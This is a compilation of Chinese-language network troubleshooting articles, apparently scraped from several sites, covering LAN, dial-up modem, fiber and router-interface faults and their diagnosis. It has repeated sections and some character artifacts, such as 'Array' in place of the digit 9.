新买来一台微机，接入局域网，当与其他的微机传输几十兆的数据时没有任何问题，但达到上百兆时，过一会儿就会出现“网络资源不足”的提示，紧接着就再也找不到网络邻居了。 按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，因为现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。

网络故障71例[转自中关村在线论坛] 1.故障现象：网络适配器（网卡）设置与计算机资源有冲突。 分析、排除：通过调整网卡资源中的IRQ和I/O值来避开与计算机其它资源的冲突。有些 情况还需要通过设置主板的跳线来调整与其它资源的冲突。 2.故障现象：网吧局域网中其他客户机在“网上邻居”上都能互相看见，而只有某一台 计算机谁也看不见它，它也看不见别的计算机。(前提：该网吧的局域网是通过HUB或交 换机连接成星型网络结构） 分析、排除：检查这台计算机系统工作是否正常；检查这台计算机的网络配置；检查这 台计算机的网卡是否正常工作；检查这台计算机上的网卡设置与其他资源是否有冲突； 检查网线是否断开；检查网线接头接触是否正常。 3.故障现象：网吧局域网中有两个网段，其中一个网网段的所有计算机都不能上因特 网。（前提：该网吧的局域网通过两个HUB或交换机连接着两个的网段） 分析、排除：两个网段的干线断了或干线两端的接头接处不良。检查服务器中对该网段 的设置项。 4.故障现象：网吧局域网中所有的计算机在“网上邻居”上都能互相看见。（前提：该 网吧的局域网是通过HUB或交换机连接成星型网络结构） 分析、排除：检查HUB或交换机工作是否正常。 5.故障现象：网吧局域网中某台客户机在“网上邻居”上都能看到服务器，但就是不能 上因特网。（前提：服务器指代理网吧局域网其他客机上因特网的那台计算机，以下 同） 分析、排除：检查这台客户机TCP/IP协议的设置，检查这台客户机中IE浏览器的设置， 检查服务器中有关对这台客户机的设置项。 6.故障现象：网吧整个局域网上的所有的计算机都不能上因特网。 分析、排除：服务器系统工作是否正常；服务器是否掉线了；调制解调器工作是否正 常；局端工作是否正常。 7.故障现象：网吧局域网中除了服务器能上网其他客户机都不能上网。 分析、排除：检查HUB或交换机工作是否正常；检查服务器与HUB或交换机连接的网络部 分（含：网卡、网线、接头、网络配置）工作是否正常；检查服务器上代理上网的软件 是否正常启动运行；设置是否正常。 8.故障现象：进行拨号上网操作时，MODEN没有拨号声音，始终连接不上因特网，MODEN 上指示灯也不闪。 分析、排除：电话线路是否占线；接MODEN的服务器的连接（含：连线、接头）是否正 常；电话线路是否正常，有无杂音干扰；拨号网络配置是否正确；MODEN的配置设置是 否正确，检查拨号音的音频或脉冲方式是否正常。 9.故障现象：系统检测不到MODEN（若MODEN是正常的）。 分析、排除：重新安装一遍MODEN，注意通讯端口的正确位置。 10.故障现象：连接因特网速度过慢。 分析、排除：检查服务器系统设置在“拨号网络”中的端口连接速度是否是设置的最大 值；线路是否正常；可通过优化MODEN的设置来提高连接的速度；通过修改注册表也可 以提高上网速度；同时上网的客户机是否很多；若是很多，而使连接速度过慢是正常现 象。 11.故障现象：计算机屏幕上出现“错误678”或“错误650”的提示框。 分析、排除：一般是你所拨叫的服务器线路较忙、占线，暂时无法接通，你可进一会后 继续重拨。 12.故障现象：计算机屏幕上出现“错误680：没有拨号音。请检测调制解调器是否正确 连到电话线。”或者“There is no dialtone。 Make sure your Modem is connected to the phone line properly。”的提示框。 分析、排除：检测调制解调器工作是否正常，是否开启；检查电话线路是否正常，是否 正确接入调制解调器，接头有无松动。 13.故障现象：计算机屏幕上出现“The Modem is being used by another Dial-up Networding connection or another program。Disconnect the other connection or close the program,and then try again” 的提示框。 分析、排除：检查是否有另一个程序在使用调制解调器；检查调制解调器与端口是否有 冲突。 14.故障现象：计算机屏幕上出现“The computer you are dial

网络故障诊断以网络原理、网络配置和网络运行的知识为基础，从故障的实际现象出发，以网络诊断工具为手段获取诊断信息，沿着 OSI 七层模型从物理层开始依次向上进行，逐步确定网络故障点，查找问题的根源，排除故障，恢复网络的正常运行。 网络故障症状包括一般性的（如用户不能上网、不能访问网上邻居等）和较特殊的（如路由器不在路由表中）。常见的网络排障思路如下： 第一步：识别并描述故障现象 分析网络故障时，首先要清楚故障现象，应该详细了解故障的症状和潜在的原因。例如，服务器不响应用户的请求，可能的故障原因是服务器配置问题、接口卡故障或路由器配置命令丢失等。收集需要的用于帮助隔离可能故障原因的信息，如广泛地从用户、网络管理系统、协议分析跟踪、路由器诊断命令的输出报告、软件说明书中收集。 第二步：制定诊断方案，列举可能导致故障的原因 可以根据有关情况排除某些故障原因。例如，根据某些信息可以排除硬件故障，从而把注意力放在软件上。 第三步：排除故障 认真做好每一步测试和观察，每改变一个参数都要确认其结果，确定问题是否解决。如果没有解决，继续下去，直到故障症状消失。 【实例 1 】不能访问服务器 要先测试一下这一故障是否只影响一台工作站，这可以通过其他工作站访问服务器来证实。如果有类似故障的工作站出现在同一网段或连接在同一交换机上，那么就要分析这一网段子网掩码是否设置正确，交换机是否正常工作。除此之外，还要看一下服务器是否禁止了这一网段工作站的服务。 【实例 2 】传输上百兆数据时出现 “ 网络资源不足 ” 的提示 新买来一台微机，接入局域网，当与其他的微机传输几十兆的数据时没有任何问题，但达到上百兆时，过一会儿就会出现 “ 网络资源不足 ” 的提示，紧接着就再也找不到网络邻居了。 按常规，网络故障一般不排除以下几点：网卡有问题、水晶头做得不规范、网线有问题、网卡驱动或网络协议有问题等。但是根据故障现象来看，以上猜测都可以排除，因为任何一个地方存在问题，就不可能在微机之间进行数据传输，从而可以判断问题应该出在环境因素上。由于大量的数据传输需要频繁的数据读取，这就要有一个相对平稳的传输环境，而网卡附近有干扰时，这种平稳的环境就会被破坏。一般要确保网卡不插在离显卡很近的插槽上，因为现在的显卡一般都带有风扇，而显卡风扇将影响到网卡的工作，尤其是显卡在频繁工作时，影响将更加明显。把网卡拔下来，插到离显卡一个较远的插槽上，即可解决大量数据传输时出现的问题。

局域网网络故障的诊断及排除方法 　　随着信息化程度的不断提高，局域网有着便捷、传输速率高和资源共享等多项优点。随之而来，在局域网的使用中也不可避免的出现各种网络故障。下面我为大家搜索整理了关于局域网网络故障的诊断及排除方法，欢迎参考阅读，希望对大家有所帮助!想了解更多相关信息请持续关注我们应届毕业生培训网! 　　安全生产信息化建设是提高矿井安全生产水平的一项基础性工作，是贯彻“科技兴煤”战略的重要手段。网络故障排除是一门综合性技术，以网络原理、网络配置和网络运行的知识为基础。 　　1、局域网常见网络故障 　　1.按网络故障的性质分类 　　(1)硬件故障 　　网络设备是否正常被连接，网卡是否正常安装，网络线路是否有断路，线路和网络模块的打线是否正确，网络设备如交换机、路由器的电源和连接的端口是否正常等。 　　(2)软件故障 　　网络软件故障相对网络硬件故障来说复杂得多，网络软件故障主要体现在网卡驱动程度的问题上，看网络协议是否正确，IP地址分配是否正确，路由器在配置上是否准确，并且看VLAN或子网划分是否正确，是否存在病毒等。 　　2.按网络故障的对象分类 　　(1)端口故障：端口故障通常包括插头松动和端口本身的物理故障。 　　(2)线路故障：在日常网络维护中，线路故障发生率约占发生的网络故障的70%。线路故障通常包括网络线、水晶头损坏及线路受到严重电磁干扰等引起的网络故障。 　　(3)集线器、交换机或路由器故障：集线器、交换机和路由器故障在此是指物理损坏，无法工作，导致网络不通。 　　(4)主机故障：此类故障通常包括网卡接触故障，网卡松动，网卡物理故障，主机的网卡插槽故障和主机本身故障。 　　2、网络故障的表现及排除步骤 　　1.网络故障的表现 　　在日常的.维护和管理过程中局域网的网络故障现象虽然多种，但是其表现归于以下几种： 　　(1)计算机无法登录到服务器; 　　(2)计算机用户无法访问网上邻居; 　　(3)计算机无法从局域网内浏览内部网页面，或者无法收取局域网内的电子邮件; 　　(4)计算机能够浏览内部网络中的网页，也可以收发内部网络的电子邮件，但是无法接入Internet; 　　(5)计算机无法通过代理服务器接入Internet，或者计算机只能和部分局域网中的计算机通信; 　　(6)计算机网络程序运行速度缓慢。 　　2.网络故障排除步骤 　　对于网络故障首先要诊断网络故障的表现，列举分析故障产生的原因，在此基础上缩小范围，对故障原因进行定位，查找问题的根源，最后采取适当的排除方法解决。具体可以遵循如下的步骤进行。 　　(1)确定问题 　　分析网络故障的第一步，就要首先描述清楚故障的现象和症状。 　　(2)收集因素 　　使用相关工具进行测试，收集需要的用于帮助隔离可能故障原因的信息。 　　(3)考虑可能的原因 　　通过集中思考，将问题分类，先排除一些不可能的问题，根据收集到的情况考虑可能的故障原因。 　　(4)创建诊断计划 　　根据上一步确定的可能故障，制定出相应的诊断计划。 　　(5)执行计划 　　开始仅用一个最可能的故障原因进行诊断测试，这样可以很容易恢复到故障的原始状态。 　　(6)做好记录 　　记录每一步和最终的解决方案，以提高自己支持网络的能力。 　　3、网络故障排除方法 　　本文按网络故障的性质分类，即硬件故障和软件故障进行网络故障诊断，在检查网络故障时，一般本着先硬件故障再软件故障的顺序检查。 　　1.硬件故障排除方法 　　网络硬件故障主要表现为线路、端口、网卡、信息插座等方面。一旦网络出现故障，首先想到的最直观的排查方便就是检查网络的物理线路和硬件设备。 　　(1)线路故障排除方法 　　在日常网络维护中，线路故障发生率约占发生的网络故障的70%。对于双绞线引起的故障，其中包括网线及水晶头的损坏、线序不正确以及网线过长引起的回波损耗，可以用替换法或使用测线仪来确定是否是网线的问题。 　　(2)端口故障排除方法 　　最直观的方法就是查看信号灯状态是否正常。如果离得较近，首先要查看网卡、HUB、交换机、路由器面板上的指示灯。 　　(3)集线器、交换机或路由器故障排除方法 　　①若怀疑是集线器或交换机问题，通常最简易的方法是替换排除法，用正常的集线器或交换机替换原来的集线器或交换机。 　　②判定可能是路由器或MODEM问题，通过IE打开路由器地址或MODEM地址，看设置有没有被更改，再看运行状态是否正常，若运行状态正常而网络不通就应考虑是其它问题，并非为路由器或MODEM的问题，当然从其指示灯也可以作连接正常否的简单判断。 　　(4)主机故障排除方法 　　在此主要介绍主机与网卡无法匹配工作的情况。对于网卡接触故障的解决办法是拔出网卡将其金手指用橡皮擦擦掉其氧化层再插入使用。对于网卡松动、主机的网卡插槽故障最好的解决办法是更换网卡插槽。 　　2.软件故障排除方法 　　(1)网卡驱动程序安装不当的排除方法 　　在设备管理器窗口中，检查网卡选项，看是否驱动安装正常，若网卡型号前标示出现“!”或“x”，表明此时网卡无法正常工作。解决方法很简单，只要找到正确的驱动程序重新安装即可。 　　(2)主机网络地址参数设置不当的排除方法 　　查看网络邻居属性中的连接属性窗口，查看TCP/IP选项参数设置是否正确。 　　(3)主机网络协议或服务安装不当的排除方法 　　在网上邻居属性或在本地连接属性窗口查看所安装的协议是否与其他主机是相一致的。 　　(4)网卡设备有冲突的排除方法 　　磁盘大多附有测试和设置网卡参数的程序，分别查验网卡设置的接头类型、IRQ、I/O端口地址等参数。 　　(5)一些重要进程或端口关闭的排除方法用Ping线路近端的端口看是否能Ping通。 　　总之，随着煤矿生产规模的扩大，安全生产情况日益复杂，安全生产数据信息急剧增加，运用计算机网络技术指导、服务于安全生产工作，建立高效灵敏、运行可靠的信息体系，及时掌握安全生产动态，提高安全生产监督、管理信息化水平和工作效率，全面推进安全生产信息化建设工作已经势在必行。 ;

无法上网的故障和排查方法 电脑使用中某一时刻无法上网，这可能是以下几种：1、在局域网络中，其中一台电脑无法上网；2、局域网通信时断时续；3、开机后，网卡指示灯和数据传输指示灯不亮；4、用户安装新网卡，新网卡无法使用。在第一种情况，局域网中，其中的一台电脑无法上网。网卡和数据指示灯一直亮着。检测过程中首先要关闭电脑防火墙，用“ping”命令与本机IP地址通信正常，“ping”本网段内的其他计算机IP不能够连通，“ping”网关的lP地址不能够连通，其他计算机之间可以ping通。查看“本地连接”属性中的数据发送情况只有发送而没有接收，于是我们怀疑RJ-45接头有问题。解决的方法是重新制作RJ-45接头并且连接，发现数据指示灯闪烁，再用“ping”命令重新测试其他计算机IP地址，返回信息正常。重新上网后正常。2、局域网出现时断时续的情况。我们分析首先检查集线器，发现集线器工作正常，但有一个端口中的双绞线的指示灯为橙色状态很不正常。拔下此端口网线后，局域网中各计算机的通信恢复正常。按照网线上编号找到网线所连接的电脑，用替换法将一台通信正常的计算机的网线连接到本计算机上，发现通信正常，说明本机的操作系统的网卡没有故障，首先排除了由于病毒和网卡原因造成的故障。再来检查网线，若网线出现问题，在一些以外的操作时导致双绞线的保护外皮受损，造成双绞线内部线芯绝缘层损坏而短路。解决的方法是更换新网线，重新连接电脑，网络故障排除。此外，在集线器连接的共享式以太网中，网络内任何一节点产生的问题，都有可能造成整个网络异常甚至瘫痪。这是由于集线器连接的局域网为共享式局域网，采用同CSMA/CD技术进行网络信息传输，所以当信息网络发生短路后，信号不能正常传输并而且错误信号，以至网段内充满错误信号，导致正常信号不能顺利传输，致使网络连接时断时续。3、开机后，网卡的指示灯和数据传输指示灯不亮。此故障主要是由于网卡和主板插槽接触不良造成的，如果主板插槽没有给网卡供电，网卡的电源指示灯就不会亮。解决方法是更换网卡插槽；用替换法以排除因网卡硬件故障而造成网络不正常。网卡是网络中的第一道关口，若网卡出现接触不良或硬件故障，则网络将无法连通。4、装上新网卡之后，网卡无法使用。导致此类原因的问题比较复杂，第一是网卡驱动程序错误。第二是网卡的物理损坏。第三是网卡配置冲突。网卡如果程序错误则应该在“设备管理器”中将原有不正确网络适配器卸载，选择正确的驱动程序进行安装。如果无法确定是网卡是否物理损坏，则使用网卡测试软件或通过替换法确认。在网卡正常工作时，要占用中断号和I/0地址范围等一些系统资源。如果这些配置与其他设备冲突，网卡就无法正常工作。当冲突时，检查“设备管理器”中的“网络适配器”，在相应网卡前图标有一个黄色标记“！”，将带有此标记的网络适配器删除，并且通过“添加/删除硬件”在系统中重新添加网卡。若多次添加网卡故障仍然存在，此时，应考虑网卡驱动程序是不是正确的。另外如果还是不能用，可用“ping”命令ping网卡自身的IP地址，如果返回的信息正常，应考虑网线是不是有问题、交换机工作是否正常等。

1.故障现象：网络适配器（网卡）设置与计算机资源有冲突。　　　　分析、排除：通过调整网卡资源中的IRQ和I/O值来避开与计算机其它资源的冲突。有些情况还需要通过设置主板的跳线来调整与其它资源的冲突。　　　　2.故障现象：网吧局域网中其他客户机在“网上邻居”上都能互相看见，而只有某一台计算机谁也看不见它，它也看不见别的计算机。(前提：该网吧的局域网是通过HUB或交换机连接成星型网络结构）　　　　分析、排除：检查这台计算机系统工作是否正常；检查这台计算机的网络配置；检查这台计算机的网卡是否正常工作；检查这台计算机上的网卡设置与其他资源是否有冲突；检查网线是否断开；检查网线接头接触是否正常。　　　　3.故障现象：网吧局域网中有两个网段，其中一个网网段的所有计算机都不能上因特网。（前提：该网吧的局域网通过两个HUB或交换机连接着两个的网段）　　　　分析、排除：两个网段的干线断了或干线两端的接头接处不良。检查服务器中对该网段的设置项。　　　　4.故障现象：网吧局域网中所有的计算机在“网上邻居”上都能互相看见。（前提：该网吧的局域网是通过HUB或交换机连接成星型网络结构）　　　　分析、排除：检查HUB或交换机工作是否正常。　　　　5.故障现象：网吧局域网中某台客户机在“网上邻居”上都能看到服务器，但就是不能上因特网。（前提：服务器指代理网吧局域网其他客机上因特网的那台计算机，以下同）　　　　分析、排除：检查这台客户机TCP/IP协议的设置，检查这台客户机中IE浏览器的设置，检查服务器中有关对这台客户机的设置项。　　　　6.故障现象：网吧整个局域网上的所有的计算机都不能上因特网。　　　　分析、排除：服务器系统工作是否正常；服务器是否掉线了；调制解调器工作是否正常；局端工作是否正常。　　　　7.故障现象：网吧局域网中除了服务器能上网其他客户机都不能上网。　　　　分析、排除：检查HUB或交换机工作是否正常；检查服务器与HUB或交换机连接的网络部分（含：网卡、网线、接头、网络配置）工作是否正常；检查服务器上代理上网的软件是否正常启动运行；设置是否正常。　　　　8.故障现象：进行拨号上网操作时，MODEN没有拨号声音，始终连接不上因特网，MODEN上指示灯也不闪。　　　　分析、排除：电话线路是否占线；接MODEN的服务器的连接（含：连线、接头）是否正常；电话线路是否正常，有无杂音干扰；拨号网络配置是否正确；MODEN的配置设置是否正确，检查拨号音的音频或脉冲方式是否正常。　　　　Array.故障现象：系统检测不到MODEN（若MODEN是正常的）。　　　　分析、排除：重新安装一遍MODEN，注意通讯端口的正确位置。　　　　10.故障现象：连接因特网速度过慢。　　　　分析、排除：检查服务器系统设置在“拨号网络”中的端口连接速度是否是设置的最大值；线路是否正常；可通过优化MODEN的设置来提高连接的速度；通过修改注册表也可以提高上网速度；同时上网的客户机是否很多；若是很多，而使连接速度过慢是正常现象。　　　　11.故障现象：计算机屏幕上出现“错误678”或“错误650”的提示框。　　　　分析、排除：一般是你所拨叫的服务器线路较忙、占线，暂时无法接通，你可进一会后继续重拨。　　　　12.故障现象：计算机屏幕上出现“错误680：没有拨号音。请检测调制解调器是否正确连到电话线。”或者“There　is　no dialtone。 Make　sure your　Modem is connected to the phone line properly。”的提示框。　　　　分析、排除：检测调制解调器工作是否正常，是否开启；检查电话线路是否正常，是否正确接入调制解调器，接头有无松动。　　　　13.故障现象：计算机屏幕上出现“The Modem is being used by another Dial-up Networding connection or another program。Disconnect the other connection or close the program,and then try again” 的提示框。　　　　分析、排除：检查是否有另一个程序在使用调制解调器；检查调制解调器与端口是否有冲突。　　　　14.故障现象：计算机屏幕上出现“The computer you are dialing into is not answering。Try again later”的提示框。　　　　分析、排除：电话系统故障或线路忙，过一会儿再拨。　　　　15.故障现象：计算机屏幕上出现“Connection to xx.xx.xx. was terminated. Do you want to reconnect?” 的提示框。　　　　分析、排除：电话线路中断使拨号连接软件与ISP主机的连接被中断，过一会重试。　　　　16.故障现象：计算机屏幕上出现“The computer is not receiving a response from the Modem. Check that the Modem is plugged in,and if necessary,turn the Modem off ,and then turn it back on” 的提示框。　　　　分析、排除：检查调制解调器的电源是否打开；检查与调制解调器连接的线缆是否正确的连接。　　　　17.故障现象：计算机屏幕上出现“Modem is not responding” 的提示框。　　　　分析、排除：表示调制解调器没有应答；检查调制解调器的电源是否打开；检查与调制解调器连接的线缆是否正确连接；调制解调器是损坏。　　　　18.故障现象：计算机屏幕上出现“NO CARRIER” 的提示信息。　　　　分析、排除：表示无载波信号。这多为非正常关闭调制解调器应用程序或电话线路故障；检查与调制解调器连接的线缆是否正确的连接；检查调制解调器的电源是否打开。　　　　1Array.故障现象：计算机屏幕上出现“No dialtone” 的提示框。　　　　分析、排除：表示无拨号声音；检查电话线与调制解调器是否正确连接。　　　　20.故障现象：计算机屏幕上出现“Disconnected” 的提示时。　　　　分析、排除：表示终止连接；若该提示是在拨号时出现，检查调制解调器的电源是否打开；若该提示是使用过程中出现，检查电话是否在被人使用。　　　　21.故障现象：计算机屏幕上出现“ERROR” 的提示框。　　　　分析、排除：是出错信息；调制解调器工作是否正常，电源是否打开；正在执行的命令是否正确。　　　　22.故障现象：计算机屏幕上出现“A network error occurred unable to connect to server (TCP Error：No router to host)The server may be down or unreadchable。Try connectin gagain later” 的提示时。　　　　分析、排除故障：表示是网络错误，可能是TCP协议错误；没有路由到主机，或者是该服务器关机而导致不能连接，这时只有重试了。　　　　23.故障现象：计算机屏幕上出现“The line id busy, Try again later”或“BUSY” 的提示时。　　　　分析、排除：表示占线，这时只在重试了。　　　　24.故障现象：计算机屏幕上出现：“The option timed out”的提示时。　　　　分析、排除：表示连接超时，多为通讯网络故障，或被叫方忙，或输入网址错误。向局端查询通讯网络工作情况是否正常。检查输入网址是否正确。　　　　25.故障现象：计算机屏幕上出现“Another program is dialing the selected connection” 的提示时。　　　　分析、排除：表示有另一个应用程序已经在使用拨号网络连接了。只有停止该连接后才能继续我们的拨号连接。　　　　26.故障现象： 在用IE浏览器浏览中文站点时出现乱码。　　　　分析、排除故障：IE浏览器中西文软件不兼容造成的汉字会显示为乱码，可试用NetScape的浏览器看看；我国使用的汉字内码是GB，而台湾使用的是BIG5，若是这个原因造成的汉字显示为乱码，可用RichWin 变换内码试试。　　　　27.故障现象： 浏览网页的速度较正常情况慢。　　　　分析、排除：主干线路较拥挤，造成网速较慢；(属正常情况)浏览某一网页的人较多，造成网速较慢；(属正常情况) 有关Modem的设置有问题；局端线路有问题。　　　　28.故障现象： 能正常上网，但总是时断时续的。　　　　分析、排除：电话线路问题，线路质量差；调制解调器的工作不正常，影响上网的稳定性。　　　　2Array.故障现象： 用拨号上网时，听不见拨号音，无法进行拨号。　　　　分析、排除：检查调制解调器工作是否正常，电源打开否，电缆线接好了没，电话线路是否正常。（大众网络报）　　　　30.故障现象： 在拨号上网的过程中，能听见拨号音，但没有拨号的动作，而计算机却提示“无拨号声音”。　　　　分析、排除：可通过修改配置，使拨号器不去检测拨号声音。可进入“我的连接”的属性窗口，单击“配置”标签，在“连接”一栏中去掉“拨号前等待拨号音”的复选框。　　　　31.故障现象： 在拨号上网的过程中，计算机屏幕上出现：“已经与您的计算机断开，双击‘连接"重试。”的提示时。　　　　分析、排除： 电话线路质量差，噪声大造成的，可拨打：112报修。也可能是病毒造成的，用杀毒软件杀一遍毒。　　　　32.故障现象： 若计算机屏幕上出现：“拨号网络无法处理在‘服务器类型"设置中指定的兼容网络协议”的提示时。　　　　分析、排除：检查网络设置是否正确；调制解调器是否正常；是否感染上了宏病毒，用最新的杀毒软件杀一遍毒。　　　　33.故障现象：Windows Array8网上邻居中找不到域及服务器，但可找到其他的工作站。　　　　分析、排除：在“控制面板→网络→Microsoft网络客户”中，将登录时Windows Array8与网络的连接由慢速改为快速连接。　　　　34．故障现象：在查看"网上邻居"时，会出现“无法浏览网络。网络不可访问。想得到更多信息，请查看‘帮助索引‘中

网络故障和排查方法主要有以下几种：1、在局域网络中，其中一台电脑无法上网；2、局域网通信时断时续；3、开机后，网卡指示灯和数据传输指示灯不亮；4、用户安装新网卡，新网卡无法使用。在第一种情况，局域网中，其中的一台电脑无法上网。网卡和数据指示灯一直亮着。检测过程中首先要关闭电脑防火墙，用“ping”命令与本机IP地址通信正常，“ping”本网段内的其他计算机IP不能够连通，“ping”网关的lP地址不能够连通，其他计算机之间可以ping通。查看“本地连接”属性中的数据发送情况只有发送而没有接收，于是我们怀疑RJ-45接头有问题。解决的方法是重新制作RJ-45接头并且连接，发现数据指示灯闪烁，再用“ping”命令重新测试其他计算机IP地址，返回信息正常。重新上网后正常。2、局域网出现时断时续的情况。我们分析首先检查集线器，发现集线器工作正常，但有一个端口中的双绞线的指示灯为橙色状态很不正常。拔下此端口网线后，局域网中各计算机的通信恢复正常。按照网线上编号找到网线所连接的电脑，用替换法将一台通信正常的计算机的网线连接到本计算机上，发现通信正常，说明本机的操作系统的网卡没有故障，首先排除了由于病毒和网卡原因造成的故障。再来检查网线，若网线出现问题，在一些以外的操作时导致双绞线的保护外皮受损，造成双绞线内部线芯绝缘层损坏而短路。解决的方法是更换新网线，重新连接电脑，网络故障排除。此外，在集线器连接的共享式以太网中，网络内任何一节点产生的问题，都有可能造成整个网络异常甚至瘫痪。这是由于集线器连接的局域网为共享式局域网，采用同CSMA/CD技术进行网络信息传输，所以当信息网络发生短路后，信号不能正常传输并而且错误信号，以至网段内充满错误信号，导致正常信号不能顺利传输，致使网络连接时断时续。3、开机后，网卡的指示灯和数据传输指示灯不亮。此故障主要是由于网卡和主板插槽接触不良造成的，如果主板插槽没有给网卡供电，网卡的电源指示灯就不会亮。解决方法是更换网卡插槽；用替换法以排除因网卡硬件故障而造成网络不正常。网卡是网络中的第一道关口，若网卡出现接触不良或硬件故障，则网络将无法连通。4、装上新网卡之后，网卡无法使用。导致此类原因的问题比较复杂，第一是网卡驱动程序错误。第二是网卡的物理损坏。第三是网卡配置冲突。网卡如果程序错误则应该在“设备管理器”中将原有不正确网络适配器卸载，选择正确的驱动程序进行安装。如果无法确定是网卡是否物理损坏，则使用网卡测试软件或通过替换法确认。在网卡正常工作时，要占用中断号和I/0地址范围等一些系统资源。如果这些配置与其他设备冲突，网卡就无法正常工作。当冲突时，检查“设备管理器”中的“网络适配器”，在相应网卡前图标有一个黄色标记“！”，将带有此标记的网络适配器删除，并且通过“添加/删除硬件”在系统中重新添加网卡。若多次添加网卡故障仍然存在，此时，应考虑网卡驱动程序是不是正确的。另外如果还是不能用，可用“ping”命令ping网卡自身的IP地址，如果返回的信息正常，应考虑网线是不是有问题、交换机工作是否正常等。

　　光纤网络故障1，看光纤收发器或光模块的指示灯和双绞线端口指示灯是否已亮： 　　1、如收发器的光口指示灯不亮，请确定光纤链路是否交叉链接。光纤跳线一头是平行方式连接；另一头是交叉方式连接； 　　2、如A收发器的光口指示灯亮、B收发器的光口指示灯不亮，则故障在A收发器端； 　　3、双绞线指示灯不亮，请确定双绞线连线是否有错或连接有误，请用通断测试仪检测； 　　光纤网络故障2，光缆、光纤跳线是否已断： 　　1、光缆通断检测：用激光手电、太阳光、发光体对着光缆接头或偶合器的一头照光，在另一头看是否有可见光。如有可见光则表明光缆没有断； 　　2、光纤连线通断检测：用激光手电、太阳光等对着光纤跳线的一头照光；在另一头看是否有可见光。如有可见光则表明光纤跳线没有断。

　　网络故障通常有以下几种可能:物理层中物理设备相互连接失败或者硬件及线路本身的问题;数据链路层的网络设备的接口配置问题;网络层网络协议配置或操作错误;传输层的设备性能或通信拥塞问题;上三层CISCO IOS或网络应用程序错误。网络故障以某种症状表现出来,故障症状包括一般性的(象用户不能接入某个服务器)和较特殊的(如路由器不在路由表中)。对每一个症状使用特定的故障诊断工具和方法都能查找出一个或多个故障原因。 　　一、网络故障分层诊断技术 　　1、物理层及其诊断。物理层是OSI分层结构体系中最基础的一层,它建立在通信媒体的基础上,实现系统和通信媒体的物理接口,为数据链路实体之间进行透明传输,为建立、保持和拆除计算机和网络之间的物理连接提供服务。物理层的故障主要表现在设备的物理连接方式是否恰当;连接电缆是否正确;MODEM、CSU/DSU等设备的配置及操作是否正确。确定路由器端口物理连接是否完好的最佳方法是使用show interface命令,检查每个端口的状态,解释屏幕输出信息,查看端口状态、协议建立状态和EIA状态。 　　2、数据链路层及其诊断。数据链路层的主要任务是使网络层无须了解物理层的特征而获得可靠的传输。数据链路层为通过链路层的数据进行打包和解包、差错检测和一定的校正能力,并协调共享介质。在数据链路层交换数据之前,协议关注的是形成帧和同步设备。查找和排除数据链路层的故障,需要查看路由器的配置,检查连接端口的共享同一数据链路层的封装情况。每对接口要和与其通信的其他设备有相同的封装。通过查看路由器的配置检查其封装,或者使用show命令查看相应接口的封装情况。 　　3、网络层及其诊断。网络层提供建立、保持和释放网络层连接的手段,包括路由选择、流量控制、传输确认、中断、差错及故障恢复等。排除网络层故障的基本方法是:沿着从源到目标的路径,查看路由器路由表,同时检查路由器接口的IP地址。如果路由没有在路由表中出现,应该通过检查来确定是否已经输入适当的静态路由、默认路由或者动态路由。然后手工配置一些丢失的路由,或者排除一些动态路由选择过程的故障,包括RIP或者IGRP路由协议出现的故障。例如,对于IGRP路由选择信息只在同一自治系统号(AS)的系统之间交换数据,查看路由器配置的自治系统号的匹配情况。 　　二、路由器接口故障排除 　　1、串口故障排除。串口出现连通性问题时,为了排除串口故障,一般是从show interface serial命令开始,分析它的屏幕输出报告内容,找出问题之所在。串口报告的开始提供了该接口状态和线路协议状态。接口和线路协议的可能组合有以下几种:①串口运行、线路协议运行,这是完全的工作条件。该串口和线路协议已经初始化,并正在交换协议的存活信息。②串口运行、线路协议关闭,这个显示说明路由器与提供载波检测信号的设备连接,表明载波信号出现在本地和远程的调制解调器之间,但没有正确交换连接两端的协议存活信息。③串口和线路协议都关闭,可能是电信部门的线路故障、电缆故障或者是调制解调器故障。④串口管理性关闭和线路协议关闭,这种情况是在接口配置中输入了shutdown命令。通过输入no shutdown命令,打开管理性关闭。接口和线路协议都运行的状况下,虽然串口链路的基本通信建立起来了,但仍然可能由于信息包丢失和信息包错误时会出现许多潜在的故障问题。正常通信时接口输入或输出信息包不应该丢失,或者丢失的量非常小,而且不会增加。 　　2、以太接口故障排除。以太接口的典型故障问题是:带宽的过分利用;碰撞冲突次数频繁;使用不兼容的类型。使用show interface ethernet命令可以查看该接口的吞吐量、碰冲突、信息包丢失、和类型的有关内容等。①通过查看接口的吞吐量可以检测网络的利用。如果网络广播信息包的百分比很高,网络性能开始下降。光纤网转换到以太网段的信息包可能会淹没以太口。互联网发生这种情况可以采用优化接口的措施,即在以太接口使用no ip route-cache命令,禁用快速转换,并且调整缓冲区和保持队列。②两个接口试图同时传输信息包到以太电缆上时,将发生碰。以太网要求冲突次数很少,不同的网络要求是不同的,一般情况发现冲突每秒有3、5次就应该查找冲突的原因了。碰冲突产生拥塞,碰冲突的原因通常是由于敷设的电缆过长、过分利用、或者“聋”节点。③如果接口和线路协议报告运行状态,并且节点的物理连接都完好,可是不能通信。引起问题的原因也可能是两个节点使用了不兼容的类型。解决问题的办法是重新配置使用相同类型。 　　3、异步通信口故障排除。异步通信口故障一般的外部因素是:拨号链路性能低劣;电话网交换机的连接质量问题;调制解调器的设置。检查链路两端使用的调制解调器:连接到远程PC机端口调制解调器的问题不太多,因为每次生成新的拨号时通常都初始化调制解调器,利用大多数通信程序都能在发出拨号命令之前发送适当的设置字符串;连接路由器端口的问题较多,这个调制解调器通常等待来自远程调制解调器的连接,连接之前,并不接收设置字符串。如果调制解调器丢失了它的设置,应采用一种方法来初始化远程调制解调器。简单的办法是使用可通过前面板配置的调制解调器,另一种方法是将调制解调器接到路由器的异步接口,建立反向telnet,发送设置命令配置调制解调器。show interface async 命令、show line命令是诊断异步通信口故障使用最多的工具。show interface async 命令输出报告中,接口状态报告关闭的唯一的情况是接口没有设置封装类型。线路协议状态显示与串口线路协议显示相同。show line命令显示接口接收和传输速度设置以及EIA状态显示。show 